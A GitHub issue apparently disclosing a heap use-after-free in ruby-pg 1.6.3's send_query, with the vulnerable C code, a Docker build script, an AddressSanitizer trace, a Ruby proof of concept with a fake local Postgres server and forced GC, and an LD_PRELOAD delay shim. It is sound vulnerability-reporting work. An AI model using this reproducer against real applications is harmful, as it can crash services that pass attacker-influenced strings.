Skip to content

DFVULN-805: Transcoded PG::Connection#send_query Query Causes Heap Use-After-Free #705

@larskanis

Description

@larskanis

Summary

PG::Connection#send_query converts non-connection-encoding Ruby strings to temporary Ruby strings, returns raw C pointers to those temporaries, and passes them to libpq without keeping the Ruby strings alive. GC can free the transcoded query while libpq is still reading it.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

pg_cstr_enc returns a raw C string pointer. When conversion is needed, the converted Ruby string is stored only in the local str variable.

static const char *pg_cstr_enc(VALUE str, int enc_idx){
	const char *ptr = StringValueCStr(str);
	if( ENCODING_GET(str) == enc_idx ){
		return ptr;
	} else {
		str = rb_str_export_to_enc(str, rb_enc_from_index(enc_idx));
		return StringValueCStr(str);
	}
}

ext/pg_connection.c:156

send_query passes that pointer directly into gvl_PQsendQuery.

if ( argc == 1 || (argc >= 2 && argc <= 4 && NIL_P(argv[1]) )) {
	if(gvl_PQsendQuery(this->pgconn, pg_cstr_enc(argv[0], this->enc_idx)) == 0)
		pg_raise_conn_error( rb_eUnableToSend, self, "PQsendQuery %s", PQerrorMessage(this->pgconn));

ext/pg_connection.c:1980

The libpq wrapper runs without the GVL, so another Ruby thread can collect the temporary transcoded query before libpq finishes reading it. The inline PoC uses a small libpq shim to delay PQsendQuery, then forces GC while libpq reads the stale pointer.

Reproduce

Create poc.rb and shim.c from the inline artifacts below, then run this on a machine with Docker:

mkdir -p dfvuln-805 && cp poc.rb shim.c dfvuln-805/ && cd dfvuln-805
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
gcc -shared -fPIC -O0 -g -fsanitize=address -fno-omit-frame-pointer -I"$(pg_config --includedir)" -o /work/shim.so /work/shim.c -ldl
ASAN_LIB=$(gcc -print-file-name=libasan.so)
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0:verify_asan_link_order=0:allocator_may_return_null=1:use_sigaltstack=0
set +e
LD_PRELOAD="$ASAN_LIB:/work/shim.so" ASAN_OPTIONS="$ASAN_OPTIONS" RUBYLIB=/tmp/src/lib MODE=safe N=5000000 ruby /work/poc.rb /work/safe.bin > /work/asan.log 2>&1
safe=$?
LD_PRELOAD="$ASAN_LIB:/work/shim.so" ASAN_OPTIONS="$ASAN_OPTIONS" RUBYLIB=/tmp/src/lib MODE=vuln N=5000000 ruby /work/poc.rb /work/vuln.bin >> /work/asan.log 2>&1
vuln=$?
cat /work/asan.log
test "$safe" -eq 0
exit "$vuln"
'

The reproduced sanitizer stack is included inline below:

==3511==ERROR: AddressSanitizer: heap-use-after-free
READ of size 4999799 at 0xffff61ce1800 thread T0
    #0 0xffff8e14b4dc in __interceptor_strlen
    #1 0xffff8a549b3c  (/usr/lib/aarch64-linux-gnu/libpq.so.5+0x19b3c)
    #2 0xffff8a5449f0  (/usr/lib/aarch64-linux-gnu/libpq.so.5+0x149f0)
    #3 0xffff8e0d0908 in PQsendQuery /work/shim.c:12
    #4 0xffff8a34a830 in gvl_PQsendQuery_skeleton /tmp/src/ext/gvl_wrappers.c:25
    #5 0xffff8dd81d9c in rb_nogvl /usr/src/ruby/thread.c:1546
    #7 0xffff8a366c90 in pgconn_send_query /tmp/src/ext/pg_connection.c:1981
freed by thread T5 here:
    #0 0xffff8e1aa5a0 in __interceptor_free
    #1 0xffff8dc0dbdc in objspace_xfree /usr/src/ruby/gc.c:12832
SUMMARY: AddressSanitizer: heap-use-after-free in __interceptor_strlen

Inline reproduction artifact(s):

poc.rb

$stdout.sync = true
require 'socket'
require 'pg'

MODE = ENV.fetch('MODE', 'vuln')
N = Integer(ENV.fetch('N', '5000000'))
RECV = ARGV[0] || 'received.bin'

def send_msg(io, type, payload)
  io.write(type + [payload.bytesize + 4].pack('N') + payload)
end

def make_query
  base = "SELECT 1 /*" + ("é" * N) + "*/"
  MODE == 'safe' ? base.dup : base.encode(Encoding::ISO_8859_1)
end

srv = TCPServer.new('127.0.0.1', 0)
port = srv.local_address.ip_port
puts "mode=#{MODE} port=#{port}"
server = Thread.new do
  c = srv.accept
  len = c.read(4).unpack1('N')
  c.read(len - 4)
  send_msg(c, 'R', [0].pack('N'))
  send_msg(c, 'S', "client_encoding\0UTF8\0")
  send_msg(c, 'S', "server_version\0" + "17.0\0")
  send_msg(c, 'K', [1, 2].pack('NN'))
  send_msg(c, 'Z', "I")
  typ = c.read(1)
  if typ
    qlen = c.read(4).unpack1('N')
    data = c.read(qlen - 4)
    File.binwrite(RECV, data)
    fields = "SERROR\0CXX000\0Mboom\0\0"
    send_msg(c, 'E', fields)
    send_msg(c, 'Z', "I")
  end
rescue => e
  warn "server err: #{e.class}: #{e.message}"
end

conn = PG.connect(host: '127.0.0.1', port: port, dbname: 'x', user: 'x',
  sslmode: 'disable', gssencmode: 'disable')
query = make_query
want = query.encoding == Encoding::UTF_8 ? query.b + "\0" :
  query.encode(Encoding::UTF_8).b + "\0"
puts "conn_enc=#{conn.internal_encoding} query_enc=#{query.encoding}"
puts "query_bytes=#{query.bytesize} want_bytes=#{want.bytesize}"

stop = false
thr = Thread.new do
  junk = []
  size = want.bytesize + 1000
  until stop
    2.times { junk << ('Z' * size) }
    junk.shift while junk.size > 2
    GC.start(full_mark: true, immediate_sweep: true)
  end
end

begin
  conn.exec(query)
rescue => e
  warn "client err: #{e.class}: #{e.message}"
ensure
  stop = true
  thr.join
  conn.finish rescue nil
  server.join(1)
end

if MODE == 'safe' && File.exist?(RECV)
  got = File.binread(RECV)
  puts "safe_match=#{got == want} got_bytes=#{got.bytesize}"
end

shim.c

#define _GNU_SOURCE
#include <dlfcn.h>
#include <unistd.h>
#include <libpq-fe.h>

typedef int (*pqsendquery_fn)(PGconn *, const char *);

int PQsendQuery(PGconn *conn, const char *query) {
    static pqsendquery_fn real_fn;
    if (!real_fn) real_fn = (pqsendquery_fn)dlsym(RTLD_NEXT, "PQsendQuery");
    usleep(200000);
    return real_fn(conn, query);
}

Security Impact

This is a native use-after-free during query submission. It can crash Ruby applications that call exec or send_query with attacker-influenced strings requiring transcoding.

Credit

Zheng Yu from depthfirst (depthfirst.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions